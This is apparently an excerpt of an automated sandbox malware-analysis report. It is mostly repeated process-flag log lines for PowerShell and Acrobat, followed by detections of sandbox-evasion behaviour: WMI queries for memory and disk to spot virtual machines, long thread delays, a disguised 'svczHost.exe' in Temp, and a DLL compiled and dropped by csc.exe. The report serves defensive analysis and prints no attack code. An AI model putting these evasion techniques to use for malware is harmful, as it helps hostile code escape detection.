Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDrive

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Source: C:\Windows\Temp\svczHost.exe

Memory allocated: 19FEBDD0000 memory reserve | memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5200	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4584	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6450	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3218	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7708
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1831
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 665
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5227
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 776
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6751
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2120

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.dll

Jump to dropped file

